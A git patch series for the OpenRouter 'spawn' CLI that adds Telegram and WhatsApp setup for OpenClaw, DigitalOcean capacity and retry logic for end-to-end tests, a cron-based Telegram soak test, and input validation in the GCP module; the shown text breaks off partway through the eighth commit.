From 49ff7a2e2a6955e019b8d56c3fe998bca63a605a Mon Sep 17 00:00:00 2001 From: Ahmed Abushagur Date: Thu, 12 Mar 2026 00:49:58 -0700 Subject: [PATCH 01/26] feat: add Telegram and WhatsApp options to OpenClaw setup picker Adds separate "Telegram" and "WhatsApp" checkboxes to the OpenClaw setup screen: - Telegram: prompts for bot token from @BotFather, injects into OpenClaw config via `openclaw config set` - WhatsApp: reminds user to scan QR code via the web dashboard after launch (no CLI setup possible) Updates USER.md with channel-specific guidance when either is selected. Bump CLI version to 0.16.16. Co-Authored-By: Claude Opus 4.6 --- packages/cli/package.json | 2 +- packages/cli/src/shared/agent-setup.ts | 52 +++++++++++++++++++++++++- packages/cli/src/shared/agents.ts | 10 +++++ 3 files changed, 61 insertions(+), 3 deletions(-) diff --git a/packages/cli/package.json b/packages/cli/package.json index 3e7f37bfb..d411b8c75 100644 --- a/packages/cli/package.json +++ b/packages/cli/package.json @@ -1,6 +1,6 @@ { "name": "@openrouter/spawn", - "version": "0.16.15", + "version": "0.16.16", "type": "module", "bin": { "spawn": "cli.js" diff --git a/packages/cli/src/shared/agent-setup.ts b/packages/cli/src/shared/agent-setup.ts index 5e417efca..d496afe61 100644 --- a/packages/cli/src/shared/agent-setup.ts +++ b/packages/cli/src/shared/agent-setup.ts @@ -9,7 +9,7 @@ import { join } from "node:path"; import { getTmpDir } from "./paths"; import { asyncTryCatch, asyncTryCatchIf, isOperationalError, tryCatchIf } from "./result.js"; import { getErrorMessage } from "./type-guards"; -import { Err, jsonEscape, logError, logInfo, logStep, logWarn, Ok, withRetry } from "./ui"; +import { Err, jsonEscape, logError, logInfo, logStep, logWarn, Ok, prompt, withRetry } from "./ui"; /** * Wrap an SSH-based async operation into a Result for use with withRetry. @@ -367,8 +367,55 @@ async function setupOpenclawConfig( logWarn("Browser config setup failed (non-fatal)"); } + // Telegram channel setup — prompt for bot token and inject into config + if (enabledSteps?.has("telegram")) { + logStep("Setting up Telegram..."); + const botToken = await prompt("Telegram bot token (from @BotFather): "); + const trimmedToken = botToken.trim(); + + if (trimmedToken) { + const escapedBotToken = jsonEscape(trimmedToken); + const telegramResult = await asyncTryCatchIf(isOperationalError, () => + runner.runServer( + "export PATH=$HOME/.npm-global/bin:$HOME/.bun/bin:$HOME/.local/bin:$PATH; " + + `openclaw config set channels.telegram.botToken ${escapedBotToken}`, + ), + ); + if (telegramResult.ok) { + logInfo("Telegram bot token configured"); + } else { + logWarn("Telegram config failed — set it up via the web dashboard after launch"); + } + } else { + logInfo("No token entered — set up Telegram via the web dashboard after launch"); + } + } + + // WhatsApp — requires QR code scanning, remind user to use dashboard + if (enabledSteps?.has("whatsapp")) { + logInfo("WhatsApp requires QR code scanning — use the web dashboard after launch"); + } + // Write USER.md bootstrap file — guides users to the web dashboard for // visual tasks like WhatsApp QR code scanning that don't work in the TUI. + const messagingLines: string[] = []; + if (enabledSteps?.has("telegram") || enabledSteps?.has("whatsapp")) { + messagingLines.push("", "## Messaging Channels", "", "The user selected messaging channels during setup."); + if (enabledSteps.has("telegram")) { + messagingLines.push( + "- **Telegram**: If a bot token was provided, it is already configured.", + " To verify: `openclaw config get channels.telegram.botToken`", + ); + } + if (enabledSteps.has("whatsapp")) { + messagingLines.push( + "- **WhatsApp**: Requires QR code scanning. Guide the user to the web", + " dashboard to complete setup: http://localhost:18791", + ); + } + messagingLines.push(""); + } + const userMd = [ "# User", "", @@ -381,6 +428,7 @@ async function setupOpenclawConfig( "", "The dashboard URL is: http://localhost:18791", "(It may also be SSH-tunneled to the user's local machine automatically.)", + ...messagingLines, "", ].join("\n"); await runner.runServer("mkdir -p ~/.openclaw/workspace"); @@ -639,7 +687,7 @@ function createAgents(runner: CloudRunner): Record { configure: (apiKey: string, modelId?: string, enabledSteps?: Set) => setupOpenclawConfig(runner, apiKey, modelId || "openrouter/openrouter/auto", dashboardToken, enabledSteps), preLaunch: () => startGateway(runner), - preLaunchMsg: "Your web dashboard will open automatically. If it doesn't, check the terminal for the URL.", + preLaunchMsg: "Your web dashboard will open automatically — use it for WhatsApp QR scanning and channel setup.", launchCmd: () => "source ~/.spawnrc 2>/dev/null; export PATH=$HOME/.npm-global/bin:$HOME/.bun/bin:$HOME/.local/bin:$PATH; openclaw tui", tunnel: { diff --git a/packages/cli/src/shared/agents.ts b/packages/cli/src/shared/agents.ts index 11c5713d3..fd9f08e45 100644 --- a/packages/cli/src/shared/agents.ts +++ b/packages/cli/src/shared/agents.ts @@ -56,6 +56,16 @@ const AGENT_EXTRA_STEPS: Record = { label: "Chrome browser", hint: "~400 MB — enables web tools", }, + { + value: "telegram", + label: "Telegram", + hint: "connect via bot token from @BotFather", + }, + { + value: "whatsapp", + label: "WhatsApp", + hint: "scan QR code via web dashboard after launch", + }, ], }; From ba88dd422477a4689aa8ef08a6daa57c659dd4ec Mon Sep 17 00:00:00 2001 From: A <258483684+la14-1@users.noreply.github.com> Date: Wed, 11 Mar 2026 23:50:48 -0700 Subject: [PATCH 02/26] fix(e2e): dynamically calculate DigitalOcean parallel capacity from account limit (#2518) Previously, _digitalocean_max_parallel() always returned 3, assuming all quota slots were available. When pre-existing droplets occupy slots, the batch-3 parallel runs fail with "droplet limit exceeded" API errors. Now queries /v2/account for the actual droplet_limit and subtracts the current droplet count to compute available capacity. Falls back to 3 if the API is unreachable. -- qa/e2e-tester Co-authored-by: spawn-qa-bot --- sh/e2e/lib/clouds/digitalocean.sh | 16 ++++++++++++++-- 1 file changed, 14 insertions(+), 2 deletions(-) diff --git a/sh/e2e/lib/clouds/digitalocean.sh b/sh/e2e/lib/clouds/digitalocean.sh index 2f18e8111..48d73f3e3 100644 --- a/sh/e2e/lib/clouds/digitalocean.sh +++ b/sh/e2e/lib/clouds/digitalocean.sh @@ -355,8 +355,20 @@ EOF # --------------------------------------------------------------------------- # _digitalocean_max_parallel # -# DigitalOcean accounts often have a 3-droplet limit. +# Queries the DigitalOcean account to determine available droplet capacity. +# Subtracts non-e2e droplets from the account limit so parallel test runs +# don't fail due to pre-existing droplets consuming quota slots. +# Falls back to 3 if the API is unavailable. # --------------------------------------------------------------------------- _digitalocean_max_parallel() { - printf '3' + local _account_json _limit _existing _available + _account_json=$(_do_curl_auth -sf "${_DO_API}/account" 2>/dev/null) || { printf '3'; return 0; } + _limit=$(printf '%s' "${_account_json}" | grep -o '"droplet_limit":[0-9]*' | grep -o '[0-9]*$') || { printf '3'; return 0; } + _existing=$(_do_curl_auth -sf "${_DO_API}/droplets?per_page=200" 2>/dev/null | grep -o '"id":[0-9]*' | wc -l | tr -d ' ') || { printf '3'; return 0; } + _available=$(( _limit - _existing )) + if [ "${_available}" -lt 1 ]; then + printf '1' + else + printf '%d' "${_available}" + fi } From 3390f634c23b25d40e5b0a4a4b3822e37a3097cb Mon Sep 17 00:00:00 2001 From: A <258483684+la14-1@users.noreply.github.com> Date: Thu, 12 Mar 2026 00:49:47 -0700 Subject: [PATCH 03/26] fix(e2e): add retry-with-backoff for DigitalOcean 422 droplet limit errors (#2520) When provisioning hits a 422 "droplet limit exceeded" response, wait 30s and retry up to 3 times. Makes E2E suite resilient to transient limit hits during parallel batch provisioning. Fixes #2516 Agent: code-health Co-authored-by: B <6723574+louisgv@users.noreply.github.com> Co-authored-by: Claude Sonnet 4.5 --- sh/e2e/lib/provision.sh | 44 ++++++++++++++++++++++++++++++++++++++--- 1 file changed, 41 insertions(+), 3 deletions(-) diff --git a/sh/e2e/lib/provision.sh b/sh/e2e/lib/provision.sh index accdcafa1..e2764874e 100644 --- a/sh/e2e/lib/provision.sh +++ b/sh/e2e/lib/provision.sh @@ -45,7 +45,18 @@ provision_agent() { return 1 fi - log_step "Provisioning ${agent} as ${app_name} on ${ACTIVE_CLOUD} (timeout: ${PROVISION_TIMEOUT}s)" + # --------------------------------------------------------------------------- + # Retry loop for transient cloud capacity errors (e.g. DigitalOcean 422 + # "droplet limit exceeded"). Waits 30s between retries, up to 3 attempts. + # Only retries when stderr contains a droplet-limit / quota error pattern. + # --------------------------------------------------------------------------- + local _provision_max_retries=3 + local _provision_attempt=1 + local _provision_verified=0 + + while [ "${_provision_attempt}" -le "${_provision_max_retries}" ]; do + + log_step "Provisioning ${agent} as ${app_name} on ${ACTIVE_CLOUD} (timeout: ${PROVISION_TIMEOUT}s)${_provision_attempt:+ [attempt ${_provision_attempt}/${_provision_max_retries}]}" # Remove stale exit file rm -f "${exit_file}" @@ -137,8 +148,35 @@ CLOUD_ENV # Even if provision "failed" (timeout), the instance may exist and install may have completed. # Verify instance existence via cloud driver. - if ! cloud_provision_verify "${app_name}" "${log_dir}"; then - log_err "Instance ${app_name} does not exist after provisioning" + if cloud_provision_verify "${app_name}" "${log_dir}"; then + _provision_verified=1 + break + fi + + # Provision failed — check if this is a retryable droplet limit / quota error. + # Pattern matches DigitalOcean 422 "droplet limit" and generic quota messages + # that appear in the CLI stderr output. + if [ -f "${stderr_file}" ] && grep -qiE 'droplet.limit|limit.exceeded|error 422|quota' "${stderr_file}" 2>/dev/null; then + if [ "${_provision_attempt}" -lt "${_provision_max_retries}" ]; then + log_warn "Droplet limit error detected (attempt ${_provision_attempt}/${_provision_max_retries}) — retrying in 30s..." + sleep 30 + _provision_attempt=$((_provision_attempt + 1)) + continue + fi + fi + + # Non-retryable failure or retries exhausted + log_err "Instance ${app_name} does not exist after provisioning" + if [ -f "${stderr_file}" ]; then + log_err "Stderr tail:" + tail -20 "${stderr_file}" >&2 || true + fi + return 1 + + done # end retry loop + + if [ "${_provision_verified}" -ne 1 ]; then + log_err "Instance ${app_name} does not exist after ${_provision_max_retries} provision attempts" if [ -f "${stderr_file}" ]; then log_err "Stderr tail:" tail -20 "${stderr_file}" >&2 || true From 4c590a42cb1769aa6471dff22f7c936a64558785 Mon Sep 17 00:00:00 2001 From: Ahmed Abushagur Date: Thu, 12 Mar 2026 00:55:01 -0700 Subject: [PATCH 04/26] feat: run WhatsApp QR scan interactively before TUI launch MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Instead of punting WhatsApp setup to "after launch", runs `openclaw channels login --channel whatsapp` as an interactive SSH session between gateway start and TUI launch. The user scans the QR code with their phone during provisioning setup. Flow: gateway starts → tunnel set up → WhatsApp QR scan → TUI launch Co-Authored-By: Claude Opus 4.6 --- packages/cli/src/shared/agent-setup.ts | 6 ++---- packages/cli/src/shared/orchestrate.ts | 15 ++++++++++++++- 2 files changed, 16 insertions(+), 5 deletions(-) diff --git a/packages/cli/src/shared/agent-setup.ts b/packages/cli/src/shared/agent-setup.ts index d496afe61..63039c2a2 100644 --- a/packages/cli/src/shared/agent-setup.ts +++ b/packages/cli/src/shared/agent-setup.ts @@ -391,10 +391,8 @@ async function setupOpenclawConfig( } } - // WhatsApp — requires QR code scanning, remind user to use dashboard - if (enabledSteps?.has("whatsapp")) { - logInfo("WhatsApp requires QR code scanning — use the web dashboard after launch"); - } + // WhatsApp — QR code scanning happens interactively in orchestrate.ts + // after the gateway starts and tunnel is set up. No config needed here. // Write USER.md bootstrap file — guides users to the web dashboard for // visual tasks like WhatsApp QR code scanning that don't work in the TUI. diff --git a/packages/cli/src/shared/orchestrate.ts b/packages/cli/src/shared/orchestrate.ts index 35ffdb4a1..474440c6b 100644 --- a/packages/cli/src/shared/orchestrate.ts +++ b/packages/cli/src/shared/orchestrate.ts @@ -250,7 +250,20 @@ export async function runOrchestration( } } - // 11c. Agent-specific pre-launch tip (e.g. channel setup ordering hint) + // 11c. Interactive channel login (WhatsApp QR scan, Telegram bot link) + // Runs before the TUI so users can link messaging channels during setup. + if (enabledSteps?.has("whatsapp")) { + logStep("Linking WhatsApp — scan the QR code with your phone..."); + logInfo("Open WhatsApp > Settings > Linked Devices > Link a Device"); + process.stderr.write("\n"); + const whatsappCmd = + "source ~/.spawnrc 2>/dev/null; export PATH=$HOME/.npm-global/bin:$HOME/.bun/bin:$HOME/.local/bin:$PATH; " + + "openclaw channels login --channel whatsapp"; + prepareStdinForHandoff(); + await cloud.interactiveSession(whatsappCmd); + } + + // 11d. Agent-specific pre-launch tip (e.g. channel setup ordering hint) if (agent.preLaunchMsg) { process.stderr.write("\n"); logInfo(`Tip: ${agent.preLaunchMsg}`); From a028a6fe5c6ba9d9368fb6bf8e618eb53fcc9478 Mon Sep 17 00:00:00 2001 From: Ahmed Abushagur Date: Thu, 12 Mar 2026 00:57:00 -0700 Subject: [PATCH 05/26] fix: update WhatsApp hint to reflect pre-TUI QR scanning Co-Authored-By: Claude Opus 4.6 --- packages/cli/src/shared/agents.ts | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/packages/cli/src/shared/agents.ts b/packages/cli/src/shared/agents.ts index fd9f08e45..fdc5bbe99 100644 --- a/packages/cli/src/shared/agents.ts +++ b/packages/cli/src/shared/agents.ts @@ -64,7 +64,7 @@ const AGENT_EXTRA_STEPS: Record = { { value: "whatsapp", label: "WhatsApp", - hint: "scan QR code via web dashboard after launch", + hint: "scan QR code during setup", }, ], }; From 49ec76bcecd764e9b547280d325a2bff311de140 Mon Sep 17 00:00:00 2001 From: Ahmed Abushagur Date: Thu, 12 Mar 2026 01:49:42 -0700 Subject: [PATCH 06/26] test: add cron-triggered Telegram reminder to soak test (#2519) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * test: add cron-triggered Telegram reminder to soak test Tests OpenClaw's ability to stay alive and execute scheduled tasks. Installs a one-shot cron on the VM before the 1h soak wait that sends a Telegram message at ~55 min, then verifies the message was sent after the wait completes. Also moves Telegram config injection before the soak wait so the cron can use the bot token immediately. Co-Authored-By: Claude Opus 4.6 * test: use OpenClaw's cron scheduler instead of system crontab Replaces the raw system cron approach with OpenClaw's built-in cron scheduler (`openclaw cron add`). This properly tests that OpenClaw's gateway stays alive after 1 hour and can execute scheduled tasks. The test now: 1. Injects Telegram config + schedules an OpenClaw cron job (--at +55min) 2. Waits 1 hour (soak) 3. Verifies the job fired via `openclaw cron runs` and `openclaw cron list` Uses --delete-after-run for one-shot semantics. Verification checks both the run history and the auto-deletion as proof of execution. Co-Authored-By: Claude Opus 4.6 * test: verify cron message on Telegram side via forwardMessage Instead of trusting OpenClaw's self-reported cron status, we now verify the message actually exists in the Telegram chat: 1. Extract message_id from OpenClaw's cron execution logs (tries `openclaw cron runs`, then ~/.openclaw/cron/ directory) 2. Call Telegram's forwardMessage API with that message_id 3. If Telegram can forward it → message EXISTS in the chat (proof from Telegram itself, not OpenClaw) This catches cases where OpenClaw reports success but the message never actually reached Telegram. Co-Authored-By: Claude Opus 4.6 * fix: address security review findings in soak test - Add validate_positive_int() and validate SOAK_WAIT_SECONDS + SOAK_CRON_DELAY_SECONDS at startup (prevents command injection via crafted env vars) - Validate TELEGRAM_TEST_CHAT_ID is numeric in soak_validate_telegram_env - Use per-app marker file /tmp/.spawn-cron-scheduled-${app} to avoid race conditions when multiple soak tests run on the same VM Co-Authored-By: Claude Opus 4.6 --------- Co-authored-by: Claude Opus 4.6 --- sh/e2e/lib/soak.sh | 243 ++++++++++++++++++++++++++++++++++++++++++--- 1 file changed, 231 insertions(+), 12 deletions(-) diff --git a/sh/e2e/lib/soak.sh b/sh/e2e/lib/soak.sh index 170a163f5..cbe6fe7cb 100644 --- a/sh/e2e/lib/soak.sh +++ b/sh/e2e/lib/soak.sh @@ -2,7 +2,8 @@ # e2e/lib/soak.sh — Telegram soak test for OpenClaw # # Provisions OpenClaw on Sprite, waits for stabilization, injects a Telegram -# bot token, and runs integration tests against the Telegram Bot API. +# bot token, installs a cron-triggered reminder, and runs integration tests +# against the Telegram Bot API — including verifying the cron fired. # # Required env vars: # TELEGRAM_BOT_TOKEN — Bot token from @BotFather @@ -10,15 +11,41 @@ # # Optional env vars: # SOAK_WAIT_SECONDS — Override the default 1-hour soak wait (default: 3600) +# SOAK_CRON_DELAY_SECONDS — Delay before cron fires (default: 3300 = 55 min) set -eo pipefail # --------------------------------------------------------------------------- # Constants # --------------------------------------------------------------------------- SOAK_WAIT_SECONDS="${SOAK_WAIT_SECONDS:-3600}" +SOAK_CRON_DELAY_SECONDS="${SOAK_CRON_DELAY_SECONDS:-3300}" SOAK_HEARTBEAT_INTERVAL=300 # 5 minutes SOAK_GATEWAY_PORT=18789 TELEGRAM_API_BASE="https://api.telegram.org" +SOAK_CRON_JOB_NAME="spawn-soak-reminder" # OpenClaw cron job name + +# --------------------------------------------------------------------------- +# validate_positive_int VAR_NAME VALUE +# +# Validates that a value is a positive integer within a safe range (1-86400). +# --------------------------------------------------------------------------- +validate_positive_int() { + local var_name="$1" + local var_value="$2" + if ! printf '%s' "${var_value}" | grep -qE '^[0-9]+$'; then + log_err "${var_name} must be a positive integer, got: ${var_value}" + return 1 + fi + if [ "${var_value}" -lt 1 ] || [ "${var_value}" -gt 86400 ]; then + log_err "${var_name} out of range (1-86400), got: ${var_value}" + return 1 + fi + return 0 +} + +# Validate numeric env vars early to prevent injection in arithmetic/commands +if ! validate_positive_int "SOAK_WAIT_SECONDS" "${SOAK_WAIT_SECONDS}"; then exit 1; fi +if ! validate_positive_int "SOAK_CRON_DELAY_SECONDS" "${SOAK_CRON_DELAY_SECONDS}"; then exit 1; fi # --------------------------------------------------------------------------- # soak_validate_telegram_env @@ -36,6 +63,9 @@ soak_validate_telegram_env() { if [ -z "${TELEGRAM_TEST_CHAT_ID:-}" ]; then log_err "TELEGRAM_TEST_CHAT_ID is not set" missing=1 + elif ! printf '%s' "${TELEGRAM_TEST_CHAT_ID}" | grep -qE '^-?[0-9]+$'; then + log_err "TELEGRAM_TEST_CHAT_ID must be numeric (chat IDs are integers), got: ${TELEGRAM_TEST_CHAT_ID}" + missing=1 fi if [ "${missing}" -eq 1 ]; then @@ -219,25 +249,207 @@ soak_test_telegram_webhook() { fi } +# --------------------------------------------------------------------------- +# soak_install_openclaw_cron APP_NAME +# +# Uses OpenClaw's built-in cron scheduler to create a one-shot reminder that +# sends a Telegram message after SOAK_CRON_DELAY_SECONDS (~55 min). +# +# This tests that OpenClaw's gateway stays alive and its cron system can +# execute scheduled tasks and deliver messages to Telegram. +# +# Uses: openclaw cron add --at --channel telegram --announce +# Verify: openclaw cron runs after soak wait +# --------------------------------------------------------------------------- +soak_install_openclaw_cron() { + local app="$1" + + log_header "Scheduling OpenClaw cron reminder" + log_info "Job name: ${SOAK_CRON_JOB_NAME}" + log_info "Delay: ${SOAK_CRON_DELAY_SECONDS}s (~$((SOAK_CRON_DELAY_SECONDS / 60)) min)" + + # Compute the ISO 8601 fire time on the remote VM (uses its clock, not ours) + local fire_at + fire_at=$(cloud_exec "${app}" "date -u -d '+${SOAK_CRON_DELAY_SECONDS} seconds' '+%Y-%m-%dT%H:%M:%SZ' 2>/dev/null || \ + date -u -v+${SOAK_CRON_DELAY_SECONDS}S '+%Y-%m-%dT%H:%M:%SZ'" 2>&1) || true + + if [ -z "${fire_at}" ]; then + log_err "Failed to compute fire time on remote VM" + return 1 + fi + log_info "Fire at: ${fire_at} (UTC)" + + # Create the cron job via OpenClaw's CLI + # --at: one-shot at a specific time + # --session isolated: runs in its own session (doesn't block main conversation) + # --channel telegram: deliver via Telegram + # --to: target the test chat + # --announce: post the message to the channel + # --delete-after-run: clean up after firing (one-shot) + local output + output=$(cloud_exec "${app}" "source ~/.spawnrc 2>/dev/null; \ + export PATH=\$HOME/.npm-global/bin:\$HOME/.bun/bin:\$HOME/.local/bin:\$PATH; \ + openclaw cron add \ + --name '${SOAK_CRON_JOB_NAME}' \ + --at '${fire_at}' \ + --session isolated \ + --message 'Spawn soak test: scheduled reminder fired successfully at \$(date -u)' \ + --announce \ + --channel telegram \ + --to 'chat:${TELEGRAM_TEST_CHAT_ID}' \ + --delete-after-run" 2>&1) || true + + if printf '%s' "${output}" | grep -qi 'error\|fail\|not found\|unknown'; then + log_err "Failed to create OpenClaw cron job" + log_err "Output: ${output}" + return 1 + fi + + log_ok "OpenClaw cron job scheduled (fires at ${fire_at})" + + # Drop a timestamp marker so the verify step can find cron artifacts created after this point + cloud_exec "${app}" "touch /tmp/.spawn-cron-scheduled-${app}" 2>/dev/null || true + + # Verify the job exists via openclaw cron list + local list_output + list_output=$(cloud_exec "${app}" "source ~/.spawnrc 2>/dev/null; \ + export PATH=\$HOME/.npm-global/bin:\$HOME/.bun/bin:\$HOME/.local/bin:\$PATH; \ + openclaw cron list" 2>&1) || true + + if printf '%s' "${list_output}" | grep -q "${SOAK_CRON_JOB_NAME}"; then + log_ok "Cron job '${SOAK_CRON_JOB_NAME}' confirmed in openclaw cron list" + else + log_warn "Cron job not visible in openclaw cron list — may still work" + log_info "List output: ${list_output}" + fi + + return 0 +} + +# --------------------------------------------------------------------------- +# soak_test_openclaw_cron_fired APP_NAME +# +# Verifies that the OpenClaw cron job actually delivered a message to +# Telegram by: +# 1. Reading OpenClaw's cron execution logs for the Telegram API response +# 2. Extracting the message_id from the response +# 3. Calling Telegram's forwardMessage API with that message_id +# +# If Telegram can forward the message, it EXISTS in the chat — this is +# proof from Telegram itself, not from OpenClaw's self-reporting. +# --------------------------------------------------------------------------- +soak_test_openclaw_cron_fired() { + local app="$1" + + log_step "Testing OpenClaw cron-triggered Telegram reminder..." + + local encoded_token + encoded_token=$(printf '%s' "${TELEGRAM_BOT_TOKEN}" | base64 -w 0 2>/dev/null || printf '%s' "${TELEGRAM_BOT_TOKEN}" | base64 | tr -d '\n') + + # Step 1: Get the message_id from OpenClaw's cron execution data. + # OpenClaw stores cron job data in ~/.openclaw/cron/. We look for: + # - openclaw cron runs output (structured execution history) + # - ~/.openclaw/cron/ files (raw execution artifacts) + # The Telegram sendMessage response contains "message_id":. + log_info "Step 1: Extracting message_id from OpenClaw cron logs..." + + local message_id="" + + # Try openclaw cron runs first — it may include the delivery response + local runs_output + runs_output=$(cloud_exec "${app}" "source ~/.spawnrc 2>/dev/null; \ + export PATH=\$HOME/.npm-global/bin:\$HOME/.bun/bin:\$HOME/.local/bin:\$PATH; \ + openclaw cron runs '${SOAK_CRON_JOB_NAME}' 2>/dev/null || true" 2>&1) || true + + if [ -n "${runs_output}" ]; then + log_info "Cron runs output: ${runs_output}" + # Try to extract message_id from JSON in the output + message_id=$(printf '%s' "${runs_output}" | grep -o '"message_id":[0-9]*' | head -1 | grep -o '[0-9]*') || true + fi + + # Fallback: search OpenClaw's cron data directory for the Telegram response + if [ -z "${message_id}" ]; then + log_info "Searching ~/.openclaw/cron/ for Telegram API response..." + local cron_data + cron_data=$(cloud_exec "${app}" "find ~/.openclaw/cron/ -type f -name '*.json' -newer /tmp/.spawn-cron-scheduled-${app} 2>/dev/null | \ + xargs grep -l 'message_id' 2>/dev/null | head -1 | xargs cat 2>/dev/null || true" 2>&1) || true + + if [ -n "${cron_data}" ]; then + message_id=$(printf '%s' "${cron_data}" | grep -o '"message_id":[0-9]*' | head -1 | grep -o '[0-9]*') || true + fi + fi + + # Fallback: scan the entire cron directory for any message_id + if [ -z "${message_id}" ]; then + local all_cron_data + all_cron_data=$(cloud_exec "${app}" "grep -rh 'message_id' ~/.openclaw/cron/ 2>/dev/null || true" 2>&1) || true + if [ -n "${all_cron_data}" ]; then + # Take the last (most recent) message_id found + message_id=$(printf '%s' "${all_cron_data}" | grep -o '"message_id":[0-9]*' | tail -1 | grep -o '[0-9]*') || true + fi + fi + + if [ -z "${message_id}" ]; then + log_err "OpenClaw cron — could not find message_id in cron execution data" + log_err "The cron job may not have fired, or delivery failed before reaching Telegram" + + # Log diagnostic info + local job_status + job_status=$(cloud_exec "${app}" "source ~/.spawnrc 2>/dev/null; \ + export PATH=\$HOME/.npm-global/bin:\$HOME/.bun/bin:\$HOME/.local/bin:\$PATH; \ + openclaw cron status '${SOAK_CRON_JOB_NAME}' 2>/dev/null; \ + echo '---'; \ + openclaw cron list 2>/dev/null; \ + echo '---'; \ + ls -la ~/.openclaw/cron/ 2>/dev/null || echo 'no cron dir'" 2>&1) || true + log_info "Diagnostic: ${job_status}" + return 1 + fi + + log_info "Step 2: Found message_id=${message_id} — verifying on Telegram..." + + # Step 2: Verify the message exists in the Telegram chat by forwarding it. + # If Telegram can forward message_id from chat to itself, the message is real. + # This is proof from Telegram's API, not OpenClaw's self-reporting. + local verify_output + verify_output=$(cloud_exec "${app}" "_TOKEN=\$(printf '%s' '${encoded_token}' | base64 -d); \ + curl -sS \"https://api.telegram.org/bot\${_TOKEN}/forwardMessage\" \ + -d chat_id='${TELEGRAM_TEST_CHAT_ID}' \ + -d from_chat_id='${TELEGRAM_TEST_CHAT_ID}' \ + -d message_id='${message_id}'" 2>&1) || true + + if printf '%s' "${verify_output}" | grep -q '"ok":true'; then + log_ok "OpenClaw cron — message ${message_id} verified in Telegram chat (forwarded successfully)" + return 0 + else + log_err "OpenClaw cron — Telegram could not forward message_id=${message_id}" + log_err "This means the message does NOT exist in the chat" + log_err "Response: ${verify_output}" + return 1 + fi +} + # --------------------------------------------------------------------------- # soak_run_telegram_tests APP_NAME # -# Runs all 3 Telegram tests and returns the failure count. +# Runs all 4 Telegram tests and returns the failure count. # --------------------------------------------------------------------------- soak_run_telegram_tests() { local app="$1" local failures=0 - log_header "Telegram Integration Tests" + local total=4 + log_header "Telegram Integration Tests (${total} tests)" soak_test_telegram_getme "${app}" || failures=$((failures + 1)) soak_test_telegram_send "${app}" || failures=$((failures + 1)) soak_test_telegram_webhook "${app}" || failures=$((failures + 1)) + soak_test_openclaw_cron_fired "${app}" || failures=$((failures + 1)) if [ "${failures}" -eq 0 ]; then - log_ok "All 3 Telegram tests passed" + log_ok "All ${total} Telegram tests passed" else - log_err "${failures}/3 Telegram test(s) failed" + log_err "${failures}/${total} Telegram test(s) failed" fi return "${failures}" @@ -247,7 +459,8 @@ soak_run_telegram_tests() { # run_soak_test [LOG_DIR] # # Orchestrator: validate env → load sprite driver → provision openclaw → -# verify → soak wait → inject telegram config → run tests → teardown. +# verify → inject telegram config → schedule openclaw cron reminder → +# soak wait → run tests (including openclaw cron verification) → teardown. # --------------------------------------------------------------------------- run_soak_test() { local log_dir="${1:-${LOG_DIR:-}}" @@ -255,8 +468,9 @@ run_soak_test() { log_dir=$(mktemp -d "${TMPDIR:-/tmp}/spawn-soak.XXXXXX") fi - log_header "Spawn Soak Test: OpenClaw + Telegram" + log_header "Spawn Soak Test: OpenClaw + Telegram (with cron reminder)" log_info "Soak wait: ${SOAK_WAIT_SECONDS}s" + log_info "Cron delay: ${SOAK_CRON_DELAY_SECONDS}s" # Validate Telegram secrets if ! soak_validate_telegram_env; then @@ -294,17 +508,22 @@ run_soak_test() { return 1 fi - # Soak wait - soak_wait "${app_name}" - - # Inject Telegram config + # Inject Telegram config BEFORE soak wait so cron can use the bot token if ! soak_inject_telegram_config "${app_name}"; then log_err "Soak test aborted — Telegram config injection failed" teardown_agent "${app_name}" || log_warn "Teardown failed for ${app_name}" return 1 fi - # Run Telegram tests + # Schedule OpenClaw cron reminder — fires in ~55 min during the 1h soak wait + if ! soak_install_openclaw_cron "${app_name}"; then + log_warn "OpenClaw cron install failed — cron test will fail but continuing" + fi + + # Soak wait — gateway heartbeat + cron fires during this window + soak_wait "${app_name}" + + # Run Telegram tests (including cron verification) local test_failures=0 soak_run_telegram_tests "${app_name}" || test_failures=$? From b9db0f3a6d39e9460bdaae38041a1bf9900ce9f4 Mon Sep 17 00:00:00 2001 From: A <258483684+la14-1@users.noreply.github.com> Date: Thu, 12 Mar 2026 01:50:56 -0700 Subject: [PATCH 07/26] security: validate localPath in uploadFile() and harden runServer() in gcp.ts (#2524) Fixes #2521 - Add path traversal and argument injection protection for localPath Fixes #2522 - Add validation for cmd parameter before SSH execution Agent: security-auditor Co-authored-by: B <6723574+louisgv@users.noreply.github.com> Co-authored-by: Claude Sonnet 4.5 --- packages/cli/src/gcp/gcp.ts | 11 +++++++++++ 1 file changed, 11 insertions(+) diff --git a/packages/cli/src/gcp/gcp.ts b/packages/cli/src/gcp/gcp.ts index dd7015c60..dfb91db30 100644 --- a/packages/cli/src/gcp/gcp.ts +++ b/packages/cli/src/gcp/gcp.ts @@ -933,6 +933,9 @@ export async function waitForCloudInit(maxAttempts = 60): Promise { } export async function runServer(cmd: string, timeoutSecs?: number): Promise { + if (!cmd || /\0/.test(cmd)) { + throw new Error("Invalid command: must be non-empty and must not contain null bytes"); + } const username = resolveUsername(); const fullCmd = `export PATH="$HOME/.npm-global/bin:$HOME/.claude/local/bin:$HOME/.local/bin:$HOME/.bun/bin:$PATH" && ${cmd}`; const keyOpts = getSshKeyOpts(await ensureSshKeys()); @@ -967,6 +970,11 @@ export async function runServer(cmd: string, timeoutSecs?: number): Promise { + // Validate localPath: reject path traversal, argument injection, and empty paths + if (!localPath || localPath.includes("..") || localPath.startsWith("-")) { + logError(`Invalid local path: ${localPath}`); + throw new Error("Invalid local path"); + } if ( !/^[a-zA-Z0-9/_.~$-]+$/.test(remotePath) || remotePath.includes("..") || @@ -1009,6 +1017,9 @@ export async function uploadFile(localPath: string, remotePath: string): Promise } export async function interactiveSession(cmd: string): Promise { + if (!cmd || /\0/.test(cmd)) { + throw new Error("Invalid command: must be non-empty and must not contain null bytes"); + } const username = resolveUsername(); const term = sanitizeTermValue(process.env.TERM || "xterm-256color"); // Single-quote escaping prevents premature shell expansion of $variables in cmd From 82a09a7ca2f1928cf73a5d4fffcc27bebb9d4195 Mon Sep 17 00:00:00 2001 From: A <258483684+la14-1@users.noreply.github.com> Date: Thu, 12 Mar 2026 02:21:20 -0700 Subject: [PATCH 08/26] test: remove conditional-expect anti-patterns from 3 test files (#2525) Replace `if (!r.ok) { expect(...) }` and `if (result.ok) { return }` guards with unconditional assertions using toThrow() or toMatchObject(). These conditional blocks silently 